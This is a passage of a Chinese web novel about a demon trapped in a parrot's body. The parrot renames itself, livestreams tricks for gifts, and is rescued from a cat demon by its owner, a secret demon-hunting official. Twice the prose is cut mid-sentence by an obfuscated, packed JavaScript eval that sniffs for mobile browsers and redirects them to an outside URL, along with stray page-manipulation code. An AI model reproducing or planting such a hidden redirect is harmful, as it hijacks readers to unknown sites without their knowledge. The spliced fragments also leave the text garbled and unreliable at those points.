裴一舟也发现了它的眼神,伸手拿了一个奶油小馒头递给了小鸟。 江与停一把接过然后一口咬了上去,这一口让他惊呆了。 好吃简直太好吃了。 它一口一口的吃着小馒头,那小眼神看起来满足极了。 裴一舟也不知道为什么看到它吃东西的模样看起来很像一个人。 几分钟后,裴一舟交钱准备出院,江与停看着他们对着手机扫什么。 扫一下这个就可以付钱了吗,如果我也有个手机就好了。 医生在电脑上写着医嘱。 “没什么大碍,但是记住不可以喝酒了,我这里还列举了一些其他的注意事项,你回家记得多看看。” 江与停听到这里也哒哒哒的跑到了桌子上盯着电脑看。 医生看着他笑了一下,拿笔戳了戳它的小脑袋。 “怎么你还看,你认字啊。” 江与停自然不认识字,会说话都是跟着手机练的,只不过医生下一句话让他入坠冰窟。 主人名字:“裴一舟。 宠物名字:“随便。” 他怎么跟你取了这么一个名字啊。 江与停:“???” 救命啊,虽然它不是个人,但是这名字也不适合鸟名啊。 7. 鸟生气了 江与停蔫蔫的耷拉个小脑瓜子往裴一舟肩头上一蹲也不理他,就那么呆呆的站着。 他生气了,鸟很生气。 出了门他们就上了车,江与停也不知道怎么就那么巧,外面就有一个车在那里停着。 以至于后面他觉得只要往那里一站就会有人来接他回家。 车上。 裴一舟在左边坐着,鹦鹉就安安静静的在右边窝着,一人一鸟各站一边,如果看成是人的话那看起来倒像是一对吵架的情侣了。 司机看着他俩也没说话,早上接到电话的时候他还以为他家少爷生病了呢,没想到生病的是这只鹦鹉。 这一路上没有一个人或者一只鸟说话。 太安静了,安静到裴一舟觉得还有些奇怪,毕竟他家这只鹦鹉还是个小话唠,没有听到它念叨了还真有些不太习惯。 车窗外,人来人往,江与停就窝在那动也不动,跟上次形成了非常大的反差。 裴一舟也不知道他为什么突然就这样了,他觉得可能是它身体还没有恢复过来,所以没有什么精神,于是抬手摸了摸他的小脑袋。 “怎么了,还不舒服。” 没想到江与停不仅没理他,还一甩脑袋甩开了他的手,并且小小的身子在沙发上换了个方向,屁股冲着他,连摸小脑袋都不给他摸了,那模样一看就是生气了表示不想跟他说话。 可是裴一舟想了想自己好像也没做什么事情惹他生气啊。 看着旁边那小小的还有些倔强的背影,裴一舟有些无奈的笑了笑,身体不大脾气还不小。 不过生气看起来倒还是很可爱的。 这一路上两个人都静静的谁都没有说话,司机就默契的也不说话,以至于车里安静的连一根针掉下来都听的一清二楚。 回到家裴一舟就直接去书房了,江与停就蹲在他的窝里生闷气。 鸟觉得最近自己不要理他了,他给鸟取的名字真的很伤鸟心。 他果然没有在意过他,就算是个宠物也不能叫随便啊。 一想到这个名字他就觉得好伤心,好难过,好像自己是个可有可无的存在一样,不是他是另外任何一个人或者东西都可以。 它在那里窝着越想越生气,连裴一舟叫他吃饭他都不吃了。 鸟很有骨气的。 他没怎么吃饭,裴一舟也并没有怎么吃,吃完之后又去书房不知道干什么。 江与停在那边生了半天的闷气,但是一想也不可以这样,夫妻还不能有隔夜仇呢,宠物跟伺主也不可以。 他觉得自己要跟他聊一聊这个话题,于是直接就飞到书房里去。 裴一舟正坐在书房内办公,也不知道在电脑上干些什么东西,那双好看的手指在键盘上点的飞起。 那双手又直又好看,他做在那里,电脑的光反衬在他的侧脸上,给他加上了一层温柔的滤镜,那样子看起来更帅了。 江与停本来还是很生气的,可是看到他的样子后气瞬间就消失了一半。 找饲主也得找个帅的。 江与停此刻已经在心里原谅了他,毕竟他都过的那么苦了,但是还要跟他去提一个醒,他不喜欢这个名字。 它飞到了桌子上,然后看了一眼电脑屏幕,结果没看懂,上面就是一串串冷冰冰的数字,旁边还配着一些看起来很奇怪的图片。 鸟是看不懂的,江与停也没管这些,现在要解决的就是他的问题,他看到旁边的笔直接就抓了过来放在了裴一舟的面前。 “啾啾啾。” 【裴一舟,我不喜欢那个名字。】 裴一舟本来还在忙事情,他看着那只突然出现在自己面前的笔,再看看出现在桌子上的鹦鹉,有些怀疑的问道:“笔?怎么了?” “啾啾。” 【我要改名字】 裴一舟当然不知道他这是什么意思,只是他在想一只鸟为什么会叼着一支笔过来。 江与停看他不明白,又四处瞅了瞅,结果才在不远处的桌子上看到了一些空白的纸,他抓着那张纸又飞了回来。 那张纸落在桌子上,不过经过他爪子的蹂躏,已经变成了褶皱的一团。 裴一舟猜测着他的意思,然后好心的把眼前的纸铺好。 “你要写字?” 江与停看他也不懂自己的意思,于是着急的用爪子抓着笔写了起来。 只不过鸟爪跟人手完全不一样,它的爪子也没有比笔大多少,抓了好几次都没有抓起来,还是裴一舟帮助了他一把给了他一直更细的笔他才抓住了。 它一边写一边往一边蹦,写的尤其的费劲,一不小心还会摔倒。 摔倒之后又继续站起来写,等江与停写完的时候他就觉得自己的手已经快抽筋了。 它啪嗒一声躺在桌子上,那趟的实实在在的,活像是累死的模样。 裴一舟本来很好奇他在写什么,结果看向那张纸的时候惊呆了,纸上跟鬼画符一样的几个东西,他一点也看不明白,但是可以判断出来那是几个字,而不是什么神秘的符号。 说那是字都是抬举他了,他看了半天也没有看出来这到底要写什么。 江与停本来就不会写字,所以他在上面画的画,看着纸上的画自己也惊呆了,然后就又拿着笔在上面写写画画,只是那字是越画越烂,依旧是鬼画符,裴一舟怎么也看不出来他写的是什么。 江与停都快急死了,他突然脑子灵机一动,爪子抓着笔在纸上写了一个一。 很不巧,维一认识的字。 一。 这个一写的也是非常的抽象,不过还好最起码可以认的出来。 他现在只庆幸裴一舟的名字没有那么难写,如果跟他的一样他估计写到死他也不知道自己是什么意思。 裴一舟突然觉得自己也很欣慰,终于有一个自己可以认识的字了,要不他都怀疑自己是不是个文盲了。 只是令他意外的是这只鹦鹉不仅认字,而且很明显可以写字,虽然他写的并不好,但是还是有些形状的。 他看着纸上的那个字,猜测着他的意思。 “一?” “一什么,一个?一只,还是一条。” 江与停摇了摇头,指了指裴一舟又指了指纸上写的一。 看他不明白就在纸上画了一个抽象的小船,画画什么的果然比写字简单的多。 裴一舟看着那个一字,又看了看那个小船。反应了一会儿才反应过来。 “你是说这是我的名字?” 看它猜对了江与停立刻手舞足蹈了起来,那高兴的模样看起来活像是有什么大病一样。 如果这都猜不出来他也不知道要怎么办了。 “啾啾啾。” 【对对对,裴一舟,你终于猜出来了,我好感动。】 裴一舟也很佩服自己竟然可以看懂一只鹦鹉在想什么。 江与停指指他的名字又指了指自己,啾啾了几声。 “啾啾。” 【那是你的名字,这是我的名字。】 裴一舟想了想猜测的问道: “你的意思这是你的名字。” 江与停点了点头,又竖起了一个打翅膀,表示这非常的对。 裴一舟顿时有些无力了,虽然知道他想表达什么,但是他看不明白啊。 他拿着那张纸横着看竖着看也没看出来他到底要写什么。 最后只好作罢了。 “抱歉,实在不知道你在写什么,既然如此那我给你起个名字吧,就叫小团,等你以后会写字了再改。” 江与停本来还想抗议,不过他想了想小团总比随便好。 随便,究竟是怎么想到给他起这个名字的啊。 于是就在纸上打了个对勾,同意,他完全同意。 裴一舟: “小团,那你饿了吗,现在是不是可以吃饭了。” 江与停觉得现在自己的气下去了,肚子好像真的就跟着饿了起来。 他摸了摸自己的小肚子眨巴了一下眼睛。 “啾啾” 裴一舟觉得现在是越来越能明白他的需求了。 “走吧,你的饭还给你留着呢。” 他刚想走又突然停在了那里,然后一脸疑惑的看向它,同时眼睛也在观察着他身上每一个细微的动作。 “你是只鸟,怎么会写字?” 江与停想了想,他总不能对他说我是妖吧,于是当场就给他演了一出大戏。 江与停就在那边鸡飞狗跳的笔划着,那一套行云流水的动作再加上他夸张的表情裴一舟大概猜了一半出来。 “你是说老板逼你学的。” 江与停立刻竖起一个小翅膀。 “啾啾啾。” 【没错。就是这个意思,老板好坏。】 裴一舟看着他者模样突然觉得有些好笑:“会写字不会说话?” 他还真怀疑他是不是妖了,可是一想应该没有这么傻的妖吧,妖都是害人的东西。 每一只妖都该死,没有任何一个例外。 鸟不说话了,鸟震惊的立在了那里,他也想知道为什么啊。 他是只鹦鹉啊,为什么不会说话。 裴一舟在厨房里热饭,江与停就在桌子上吃着那些已经热好的饭,也不知道他在哪家定的外卖,简直都好吃死了。 每一个菜都好吃,他好像从来都没有在外面吃到过一样的味道。 下次他要去偷师一样,看他到底是怎么做的。 没多大一会儿他又闻到一股非常香的味道,它没忍住向着厨房飞了过去。 只见裴一舟正围着一个围裙在厨房热饭,那围巾勒着他的腰,身材别提有多好了。 江与停飞到他的肩头看着锅里热着的红烧鱼,哈喇子都要流下来了。 裴一舟抬手摸了摸它的小脑袋,然后关火把鱼放到了盘子里。 江与停的眼睛就一直直勾勾的盯着鱼看,就在他忍不住要下手的时候,裴一舟把鱼挪走了。 “太烫了,等会儿吃。” 江与停跑到裴一舟的手边异常亲昵的蹭了蹭他的手背,然后又跑到另外一侧蹭了蹭他的手心,这套动作他是越做越熟练。 裴一舟其实很喜欢他蹭他的感觉,软软的非常舒服。 “啾啾。” 【裴一舟,我原谅你了。】 【还没好吗?好想吃。】 【裴一舟,你在哪里卖的饭啊,好好吃。】 【你不是不吃肉吗,这是为我特意点的吗,你真的是太好了。】 当然裴一舟没有回应他,他也不知道自己的这只话唠小鸟在说什么,他现在完全都可以想象到如果他是一个人的话现在得是个什么模样。 那应该是一个非常活波调皮的男孩吧。 对了,他好像从来不知道他是男孩还是女孩啊。 所以江与停在吃着饭的时候自己尾部的羽毛突然被掀了自己,那地方突然一阵凉飕飕的空气传来,他直接都愣在了原地。 他机械的回头看着那个罪魁祸首,眼里满是震惊。 裴一舟也不知道为什么他可以在一只鸟的身上看到震惊,于是就慢慢的把手放了下来还顺便给他把羽毛也抚平了。 他也没说话,鸟也没说话,裴一舟就低头继续弄鱼肉,他夹着鱼肉一点一点的把里面的鱼刺挑出来,挑完之后又放到了一旁的碗里面。 江与停虽然不知道他是什么意思,但是如果是宠物的话应该还算正常吧。 没多久他就忘记了,蹲在那里眼巴巴的瞅着那条鱼。 五分钟后,裴一舟把那小半碗鱼肉放到了他的面前。 “吃吧。” 鸟眼里的豆豆眼慢慢的放大了起来,然后吧唧一声亲在了他的脸蛋上。 谁能想到啊,裴一舟在给他挑鱼刺那。 他伸出爪子抓起鱼就吃了起来,眼睛都舒服的眯了起来,小小的腮帮子也被塞的鼓鼓的,里面像是藏着什么东西一样。 “啾啾。” 【好吃,好吃。】 【谢谢你啊。】 【这家的饭好好吃啊,究竟是谁家做的啊,我以后有钱了要把他抓到我家去。】 吃完饭裴一舟又进房间里去了,江与停在屋里玩了一会儿又觉得很无聊。 它站在窗台上思考着鸟生,外面人来人往,几乎都是一些年纪大的中老年人,但凡是个年轻人都很少会来这里了,裴一舟是个列外,像他这个年纪的几乎都没有。 屋外蝉鸣声叽叽喳喳,它看着那些站在树杈子上的鸟,突然想起来好像有人说他是网红来着。 他知道什么是网红,他们有个妖也有网红来着,他还给他刷过礼物。 如果是网红的话,所以他是不是可以直播啊,他以前还真的也用个手机发小视频,但是也并没有什么粉丝,毕竟他也没有露脸。 妖如果露脸被发现的话是很危险的,可是现在不一样了,他是鸟,谁知道他是妖啊,藏在这幅皮囊之下他像干什么就干什么。 他现在突然觉得变成一只鸟好像也不错。 不过唯一的不好就是他也没有手机啊,他更不可能玩裴一舟的手机,毕竟他都带到卧室里去了。 他想了又想,唯一的机会就是在书房里,他想起来裴一舟书房里放着的电脑,于是鬼鬼祟祟的飞了过去。 还好书房并没有锁门,他飞进去看了看,裴一舟的电脑并没有关,依旧放在桌子上,并且上面就停留在一个页面上,他也看不懂所幸就没管。 他尝试着用爪子按了按键盘,还好,虽然不太灵活,但是还是可以用的。 裴一舟的电脑看起来也有些年头了,不像年轻人一样经常换电脑,经常换手机,他越看越觉得心酸,觉得他一个人太可怜了。 江与停在里面找了找没想到还真让他找到了直播软件,而且不用登录就进去了,这说明裴一舟以前也玩过直播,最少还是看过的,这还是让他有些意外的,他还以为他是那种没有任何社交的人。 他点开电脑看了一眼,里面没有一个作品,江与停也没管那么多就点开了直播。 当然直播间一个人都没有,他在里面呆了半天还是没有一人问津。 他想了想以前玩直播的时候好像还是可以去尝试连线的,于是就果断的打开了连线。 他在那边等啊等,等了许久之后就连线成功了,对面还是一个女主播。 女主播刚打开摄像头,结果对面好像是一片空白连个人都没有。 “喂,听的见吗?对面的朋友,你人呢?” 她话音刚落下突然对面传来一阵鸟叫的声音。 “啾啾啾。” 【我在这里,我在这里。】 女主播听到这声音还有一丝纳闷。 “我怎么好像听到鸟叫的声音了,难不成对面是只鸟。” 她虽然这样说,但是大家谁都不会相信对面是只鸟,毕竟活这么大也没有见过鸟直播的。 女主播又继续听到对面的声音,好像除了鸟叫声其他的什么都听不见,她顿时就觉得对面是不有人在耍她玩啊,她一时还有些生气。 “对面的这个朋友,如果想PK一下或者是想交个朋友麻烦出来一下,你这样就不好玩了。” 结果对面还是传来了啾啾的声音。 女主播一时间还真有些生气了,虽然网上什么人都有,但是她怎么也是一个小有名气的直播,被对方连个位数粉丝都没有的人耍着玩自然会生气。 “那好吧,如果你一直这样的话我只好关掉链接下一个了。” 她话音刚落,结果对面的摄像头动了起来,那摄像头看着像不稳定一样,左慌慌右照照,最后终于聚焦在了一个点上。 那个点上没有人,只有一只鹦鹉,而且那只鹦鹉并不想大家喜欢晒的那种好看,可爱,他可以说一眼看起来都有些丑了。 女主播直播看到对面是个鸟的时候,脸上的表情差点没有绷住。 “呀,一只鸟,怎么会是一只鸟,你的主人呢,是不是你的主人把你放在这里的呀。” 江与停眨了眨眼睛看着对面的女主播啾啾了几声,他也没有想到对面会是一个粉丝数很多的美女。 “啾啾。” 【美女姐姐,你好啊,我,就是我连的线,没有主人,就是我自己。】 女主播从来没有想到还会遇到这样的情况。 “难不成你的主人想让我跟你PK,那可不太行了,我没有学习过鸟语啊,听不懂你在说什么呀。” 女主播的粉丝很多,很快直播间就有人认出来了江与停。 【哈哈,这鸟好丑。】 【跟鸟pk这究竟是鬼马天才想出来的。】 【真的不是节目效果吗?哈哈。】 【这只鸟看起来有些眼熟啊,毕竟长成这样确实不多见。】 【我好像想起来了,这不是那只网红鸟吗?】 【啊,我也想起来了,就是警察号发的那个吧,对对,我也见过。】 【好像是啊,他不仅会认笔,还会拿逗猫棒逗猫,哈哈。】 【长的那么奇怪估计也没有第二只了,哈哈。】 女主播看着直播间的那只鸟,他是没有想到对方看起来还挺有名的。 “呀,还是一只网红鸟,那你没有主人啊,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288237|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来连线的。“ 江与停了点头。 “啾啾啾.” 【是我,就是我,我自己连的线。】 女主播没有想到江与停竟然真的可以听懂他说话,直接就惊呆了,她虽然一直知道鹦鹉很聪明,但是聪明到这个地步的还是很少见。 “所以你会说话的对吗?” 这话问道江与停的伤心处了,鸟脸上肉眼可见的伤心了起来。 他摇了摇头。 “啾啾。” 【不会。】 女主播有些失望的看着他,这鸟连话都不会说还能多厉害,她还以为它会有些什么不同了。 虽然心里是这样想的,面上还是一脸的笑意询问着,毕竟跟鸟主播也算是一个很好的话题了,只要有热度,有话题,她才可以长红。 “那既然是网红鸟一定会有才艺的,那你有什么才艺啊,你给姐姐表演个才艺,姐姐给你刷礼物啊,跑车怎么样。” 江与停一听有礼物,于是立马就干劲十足,虽然他不知道跑车是什么,但是他知道那应该是钱。 他站在屏幕前面看着对面的那个女主播认真的想了想,然后当场来了个后空翻,这把一干人都惊呆了,他们没有想到还有鸟竟然会后空翻。 于是弹幕上直接就疯了,礼物一个接着一个的刷了起来。 【再来一个,再来一个】 【我还是第一次见到鸟后空翻的,好厉害。】 【天啊,我刚才以为我看错了,没想到真的会有鸟后空翻】 【不行,再来一个,这次我一定要录下来。】 【以后谈对象是不是就可以跟对方说了呀,来我家啊,我家鸟会后空翻】 一般的鸟如果要做这个动作都会有什么东西在后面借助着,像江与停这样直接来个后空翻的简直就没有见到过。 江与停看着那几个礼物,又接连表演了好几个,他是不知道这有什么难的,不是有腿就可以吗。 人类怎么会喜欢这个。 他这一番下来直播间多了不少人,女主播也没有想到这只看起来丝毫不起眼的鸟还真的有一些特殊技能。 当然也不能说不起眼,只能说长的挺起眼的,大家一眼就可以记住。 丑成那样,不管是人也好,还是宠物也好,好想都还不错的,毕竟互联网时代,长得个性让别人记住你就是有本事。 女主播自然不会放弃这波流量,她最近的直播都没有什么好的剧本,所以人都少了不少。这一下子她又可以好了起来。 “没有想到还有这样的本事啊,后空翻我不会啊,那这样PK算我输了,我不仅刷跑车还给你刷10个嘉年华怎么样。” 江与停点了点头。 “啾啾啾啾。” 【太好了,当然越多越好。】 女主播:“那这样啊,如果你可以再给我们表演一个才艺,我再给你刷10个嘉年华怎么样。“ 江与停自然不想放过这波挣钱的机会,只是其他的才艺他一时也想不起来,突然他看到了旁边的水杯,于是把镜头往边上转了转,接着去外面找了个吸管,然后又把吸管插进了杯子里,当场表演了一个鹦鹉喝水。 他也不知道这算不算才艺,但是他现在只会干些这个了。 只不过他当然不知道鸟用吸管喝水的冲击力了,这吸管喝水他也是鸟生的第一人了。 【厉害,厉害】 【这肺活量我自己都自愧不如】 【这鸟究竟是什么神人啊】 【我是出现幻觉了吗,鸟自己会喝水】 【我现在相信他真的是一只网红鸟了】 【厉害呀,一口就喝完了。】 【ai,绝对是ai】 【不相信,除非他再表演一个给我看看】 女主播也遵守自己的承诺刷十个嘉年华上去,她是巴不得对方有才艺,这才可以有话题度。 主播:“好棒啊,那我也吸管喝水吧,只是这样好像有点欺负你啊,那这次还算你赢,不知道你还有其他的才艺吗?” 其他的才艺,江与停想了想,写字的话应该算吧,毕竟裴一舟看到他会写字都惊呆了。 于是他从书房里找到了笔又拿出一张纸出来。 女主播看到纸跟笔眼睛都放大了。 “什么,你不会要写字吧,那也太不可思议了。” 评论区也直接刷屏了。 【啥,他会写字我表演吃笔】 【这鸟谁教的,我想把我家猫放过去学一学】 【救命啊,他不会说话但是会写字看,这什么逻辑呀】 【什么,要表演写字,这也太厉害吧。】 【这鹦鹉成精了吧】 【哈哈,说不定是主人变得。】 所有人都一脸震惊的看着直播间的屏幕。 江与停的这个动作也实在是让人想象不到。 只见屏幕里的小鸟先是手抓起了笔,然后再纸上淡定的画了一个一。 虽然对于人来说这是再简单不过的字了,但是对于鸟来说那真是万中无一了。 评论区直接就炸了。 【我靠,他会拿笔我都震惊了,结果他真的会写字啊,虽然只是一个一。】 【我靠,比我儿子厉害】 【我认识它,考试的时候它就在我的身后。】 【果然老天是公平的,虽然长得丑但是这技能玩的真溜啊。】 【想把我家逆子送过去学一学。】 女主播也开心极了,他看着直播间那越来越多的人觉得这场直播简直太对了。 这场直播下来半个小时都过去了,江与停觉得就跟玩一样,这么打发时间好像还挺不错的,而且还有钱,虽然他不知道那是多少钱。 他在书房里呆了一会儿又把电脑恢复了正常才走了出来。 外面静悄悄的,裴一舟依旧还没有出来。 他刚才说的话比较多,刚想去外面喝点水,但是他刚下来结果窗户有奇怪的异响,他还没反应过来一只大黑猫就翻窗进来了。 那只猫浑身都是黑的,只有眼睛的瞳孔是暗黄色。 江与停一眼就看出来了不对劲了,他身上有一种奇怪的味道,没有人会比妖更能认出自己的同类,他转换成了妖界的语言说:“妖?” 人有人语,妖自然也有妖语。 本来这场直播下来他倒是还真收到了一些钱是挺开心的,结果刚下播就发现屋里就这么一个东西,好心情都被破坏掉了。 江与停伸出爪子抓了抓头顶的毛,生硬的下了逐客令。 “虽然我不知道你的目的是什么的,但是请你离开这里,我的脾气可是不好的很。" 黑猫眯着眼睛看他,一个小小的鹦鹉,他自然不会把他放在眼里。 “就凭你。” “就凭我。” 江与停本来想设发把人赶走的,再不济就杀了,结果一动才想起来,他现在是只鸟啊。 “靠,忘记了他没有妖力了。” 猫妖看着他冷笑了一声。 “你是妖我不杀你,你走吧。” 江与停听到这话这才知道原来是冲着裴一舟来的,对方对他好像并没有杀意,他完全可以飞走的,但是他如果走了下一个目标就是裴一舟。 江与停自然不会离开。 “走开,这个人是我选的。” 猫妖舔了舔自己的爪子不屑的看了他一眼。 “那又如何,就你一只鸟也想当在我面前,不自量力。” 说完之黑猫直接尾巴一甩,一个巨大的尾巴就冲着他甩了过来,江与停躲闪不及,被那条尾巴正好甩到,脑袋就直接磕在了桌腿上。 他想爬起来,但是这副身体太弱了,一阵天旋地转直接晕了过去。 脑海里最后的一个念头就是完了,裴一舟,快跑啊。 可是他知道他根本就听不见呀。 黑猫带着步子优雅的向着地上晕死过去的鸟靠了过去。 “我本来不想吃你的,现在只好先把你吃了再去吃他。” 人类的血肉对于他们妖来说大补,没有办法现在妖管局的人是一点活路都不给他们,他们只能自己想办法让自己变得更强。 所以谁都不要怪,要怪就怪妖管局,一切都是他们逼的,否则他也不会走这条路。 而这里听说离妖管局的总部比较远,所以管理局的人一般不会来这里,那这个被他选中的少年只能说他倒霉了。 他慢慢的像那只鸟靠过去,谁知道还没走到突然卧室的门就从里面打开了。 门打开从里面走出来的是一个男子。 8. 鸟喝不完了 那男子打开门之后就淡淡的看了他一眼,那眼神就像是看到了正常的小猫小狗一样,通俗来说应该是更像看垃圾一样,眼里没有任何的感情。 看完他之后眼神没有丝毫停留的转身向着桌角走去,那步伐看起来还是非常的轻盈,也没有丝毫的慌乱,这足以证明对方不是装的,没有一个人会有如此好的演技。 他看到过太多惊恐的眼神,听到过太多撕裂的叫喊声,他本来以为听到的依旧就是那样尖叫的声音,但是令他意外的是统统都没有,他就那么信步走了过来,就像是屋里从来都没有他的存在一般,甚至脸上的表情都没有丝毫的起伏。 以他这个妖的经验来看,不正常,绝对不正常,但是他看起来也更不像是一个执行者,执行者里怎么会有这么好看的,而且也不会住在这么破的房子里。 就是因为这么破,碰上执行者的几率是少之又少,他才选上的这里。 裴一舟看着地上那只晕死的小鸟,他那么小小的一团抱在一起,不知道冷的还是疼的还在微微发着抖,身上的毛羽随着他的动作一抖一抖的,小模样看起来可怜极了。 他弯腰把他抱起来放在了自己的手心,全程都没有给那只黑猫一个眼神。 黑猫被这完全无视的态度刺激到了,他直接张嘴怒吼了一声,那声音就连楼下的人都听的一清二楚。 黑猫看着他,然后往前走了一步,那只爪子落地的瞬间就变成了一只体型庞大的妖怪。 他眯着瞳孔看着那个人类,那那么弱小,他只要轻轻一用力就会把这个脆弱的人类整个都吞进肚子里。 他抬着巨大的猫爪子往前走了一步,那高大的身影直接把裴一舟罩在了自己的阴影里,威慑力看起来十足。 “你这小小的人类,竟然不怕我。” 裴一舟依旧没有理他,他背对着他只是低头摸了摸手心里小鸟的小脑袋,小鸟应该是不太舒服,还在他手心里哼唧了几声。 “啾啾。” 【疼】 裴一舟终于说出了他出来之后的第一句话。 “还好没事。” 小猫妖被他这无视的态度直接刺激到了,身上的毛瞬间炸了起来,瞳孔的颜色也跟着变成了幽绿色,身上也慢慢的冒起了红光。 “喂,你是瞎子吗?看不到我吗?” 裴一舟把小鸟放好后才慢慢的掀起了眼帘,他的睫毛轻轻抖动了起来,也不知道为什么那双漂亮的瑞凤眼看起来锐利异常。 当然猫妖并没有看到,因为眼前的人依旧背对着他,就在他一跃而起要把这个人整个都吞入腹中的时候,那人终于说话了。 “看到了,当然看到了,妖,都该死。” 下一秒,从他的指尖飞出去一把利器,那利器极快看不到任何的影子,但是只刚才那一下,还在嚣张着叫喊的小猫就当胸被穿了过去。 小猫先是愣了一下才发现自己胸口慢慢的开始渗血,开裂,还没等他反应过来,整个身体就那么生生的从中间炸开了。 那好不容易聚散的魂灵就那么消失在了这里,妖只要魂灵在就可以重塑肉身,一般的执行者也只会把肉身就灭掉,像这样一击之下就可以破坏掉魂灵的更是少之又少。 而他在死的那一刻也没有明白这究竟是怎么回事。 裴一舟没有给他任何一个眼神,就在这时候睡在沙发上的小鸟也不知道梦到了什么,在原地直接打起了滚,没一会儿就滚到了桌子边。 对于这只鹦鹉的异常举动他也不是没有防范,他是妖管局的最高执行官,手里握的是妖管局的最高机密,自然不会让任何可能的机会靠近他,虽然能认出来他的人很少,但是也不是有那个意外。 以前也有不少人要近他的身,当然统统都已经被他杀了。 刚才他在书房里是故意给他看的文件就是妖管局最高级别的文件,不过他看起来好像并不太感兴趣。 他站在原地看了良久,小鸟看起来应该不太舒服,不停的动着,眼看着就要桌子上滚下去,他只好带着他来到了自己的卧室。 等江与停再次醒来时候屋里一片黑暗,耳边静悄悄的没有任何的动静,就好像他被关在了一个漆黑的笼子里一样。 不过浑身的疼痛让他想起了自己晕死过去之前的事情。 直播,猫妖,裴一舟。 他猛地一个弹射飞了起来。 “啾啾。” 【饲主,他饲主怎么样了,不会死了吧,那他怎么办啊,好不容易碰到一个好人。】 他着急忙慌的往门口飞去,但是显然他还没有完全的醒过来,脑子此时还有一些晕晕的,他本来是往门口飞的,谁知道他已经不会直着飞了,就那么愣愣的向着墙上撞了过去。 随着屋门的打开,屋里的灯也瞬间亮了起来。 裴一舟一打开门就看到刚醒过来的小鸟一头撞到了开关上。 而且显然是有些撞疼了,他还拿自己的爪子捂了捂自己的头。 江与停被这灯光刺激的闭了闭眼睛,头顶上那几跟小呆毛不自然的动了动。 本来就晕的头这次更痛了。 裴一舟发现现在好像已经习惯了他搞出来的各种各样的事情。 只不过他还是有些不解。 “你在干嘛?” 江与停听到声音瞬间就抬起了头,看到自己的饲主还好好的活着,并且也没有缺胳膊少腿直接就激动坏了。 这次他不敢飞了,从地上站了起来,晃晃悠悠的向着裴一舟一边叫一边走了过去,那模样看起来就像是一只护崽子的走地鸡。 “啾啾。” 【太好了,人,你还活着啊。】 【那么大个妖怪呢?去哪儿了。】 裴一舟弯下腰,江与停就顺势站在了他的手心。 江与停低头蹭着他的手心,啾啾的叫个不停。 “啾啾。” 【不管了,你没事太好了,你一定要好好的活着养我,千万别随便就死了。】 裴一舟虽然不明白他这是在说什么,但是也能大概明白他的意思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288238|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他还是第一次被一只鸟关心,当然他也没有跟他说其他的事情。 “怎么了,你是在担心我吗?我没事,还头疼吗?头疼的话就多睡会儿,一会儿起来吃饭。” 江与停一听吃饭,整个人就活了起来,眼睛都立马变的炯炯有神。 “啾啾。” 【吃饭,吃饭】 裴一舟也不知道为什么总觉得他非常的有灵性,不像是一般的小鸟。 他把他放在了地上,走过去关上了灯,屋里瞬间就陷入了一片黑暗。 “走吧。” 裴一舟离开后江与停本来想跟着他离开的,但是他看着那个开关若有所思了起来,然后他又小心翼翼地飞了起来,看着那个白白的东西抬起爪子按了一下,屋子的灯啪的一下亮了起来。 他好奇的眨了眨眼睛,然后凑了过去又按了一下,屋里的灯又瞬间灭了起来。 江与停:“啾啾。” 【好玩,好玩。】 这是灯,他认识,但是还是第一次玩,他又抬起爪子按了一下又一下。 裴一舟看着屋里的灯一会儿亮一会儿灭,一会儿又亮了,那只小鸟玩的不亦乐乎的,那样子看起来倒真像是有什么大病一样。 不过他倒是看起来挺开心的,如果这么简单就可以获得那么多的快乐,那看起来也不错。 江与停玩够了之后才从屋里出来,他飞到了桌上先是看了一眼饭,然后才亲昵的碰了碰裴一舟的手才小口小口的吃起来。 他现在每天期盼的就是吃饭的时间,只不过他不明白人为什么要一天吃三顿。 明明应该吃八顿,九顿,实在不行六顿也行。 今天桌子上又多了许多他没有见过的菜,他也不明白人怎么会把吃的东西做的那么好吃的。 裴一舟把排骨放到了江与停的面前,他自己吃的不多,但是他很喜欢看着小鸟吃,看他吃的那么开心,好像自己的食欲也突然好了起来。 以前他也喜欢看着他吃饭,他吃饭的时候也会像这只小鸟一样吃的那里都是。 屋里的电视开着,江与停非常喜欢看电视,但是此刻他更喜欢吃饭。 他一手拿着排骨吃的满嘴都是油,那排骨酥脆香甜,好吃极了,那模样狠不得直接跳进去去吃。 他现在明白了,为什么妖界的人冒着被抓的风险也要来人间走一趟。 最后裴一舟看着他身上的一身油叹了一口气,这好像实在是忍不了了。 江与停吃完之后看着裴一舟突然走了,他也不知道这是什么意思就跟着他走了过去。 他站在裴一舟的肩头,只见他打开了浴室的水龙头,没一会儿就把一个大池子装满了,他把水龙头关好,还把手伸进了池子里。 “下来吧。” 江与停看了他一眼,然后飞了下来,池子边有些光滑,他好不容易才抓住了一个东西站了起来。 他站那里看了看池子里还在流动着的水花又看了看裴一舟,然后下一秒,低着头直接喝了起来。 9. 鸟的专座 江与停的速度很快,也是裴一舟着实没有想到他会有这样的举动,所以都还没来得及捞他,他的小脑袋就直接进水里去了。 喝完之后江与停就抬起了头,他眨了眨眼睛,头顶上的毛湿漉漉的黏在了一起。 他不舒服的甩了甩脑袋,脑袋上的水珠就被他甩的四处都是。 “啾啾。” 【不好喝。】 裴一舟看着他这动作直接就勾唇笑了,他好像在他脸上看到了委屈的表情。 他抓着小鸟把他放在了水里。 